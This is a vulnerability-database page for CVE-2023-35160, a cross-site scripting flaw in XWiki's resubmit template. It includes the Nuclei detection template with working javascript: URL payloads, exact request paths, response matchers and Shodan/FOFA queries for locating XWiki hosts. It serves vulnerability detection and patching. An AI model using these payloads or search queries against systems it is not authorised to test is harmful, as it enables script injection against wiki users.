Browse / CVEs / CVE-2023-35160
CVE-2023-35160· xwiki / xwiki· CWE-79
XWiki >= 2.5-milestone-2 - Cross-Site Scripting
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It's possible to exploit the resubmit template to perform a XSS, e.g. by using URL such as: > xwiki/bin/view/XWiki/Main xpage=resubmit&resubmit=javascript:alert(document.domain)&xback=javascript:alert(document.domain). This vulnerability exists since XWiki 2.5-milestone-2. The vulnerability has been patched in XWiki 14.10.5 and 15.1-rc-1.
Impact
Successful exploitation could lead to cross-site scripting.
Fix
This vulnerability has been patched in XWiki 14.10.5,15.1-rc-1.
How to confirm it
Send: GET {{BaseURL}}/xwiki/bin/view/XWiki/Main?xpage=resubmit&resubmit=javascript:alert(document.domain)&xback=javascript:alert(document.domain) ; GET {{BaseURL}}/bin/view/XWiki/Main?xpage=resubmit&resubmit=javascript:alert(document.domain)&xback=javascript:alert(document.domain)
Positive when: contains "action=\"javascript:alert(document.domain)\"" and "XWikiGuest" AND contains in header "text/html" AND status 200 or 401Run it with nuclei: nuclei -id CVE-2023-35160 -u <target>
The full check
id: CVE-2023-35160
info:
name: XWiki >= 2.5-milestone-2 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It's possible to exploit the resubmit template to perform a XSS, e.g. by using URL such as: > xwiki/bin/view/XWiki/Main xpage=resubmit&resubmit=javascript:alert(document.domain)&xback=javascript:alert(document.domain). This vulnerability exists since XWiki 2.5-milestone-2. The vulnerability has been patched in XWiki 14.10.5 and 15.1-rc-1.
impact: |
Successful exploitation could lead to cross-site scripting.
remediation: |
This vulnerability has been patched in XWiki 14.10.5,15.1-rc-1.
reference:
- https://jira.xwiki.org/browse/XWIKI-20343
- https://nvd.nist.gov/vuln/detail/CVE-2023-35160
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-35160
cwe-id: CWE-79
epss-score: 0.02268
epss-percentile: 0.83187
cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
metadata:
max-request: 2
verified: true
vendor: xwiki
product: xwiki
shodan-query: html:"data-xwiki-reference"
fofa-query: body="data-xwiki-reference"
tags: cve,cve2023,xwiki,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/xwiki/bin/view/XWiki/Main?xpage=resubmit&resubmit=javascript:alert(document.domain)&xback=javascript:alert(document.domain)"
- "{{BaseURL}}/bin/view/XWiki/Main?xpage=resubmit&resubmit=javascript:alert(document.domain)&xback=javascript:alert(document.domain)"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'action="javascript:alert(document.domain)"'
- 'XWikiGuest'
condition: and
- type: word
part: header
words:
- 'text/html'
- type: status
status:
- 200
- 401References
Use this check only on systems you are authorised to test. Where the data comes from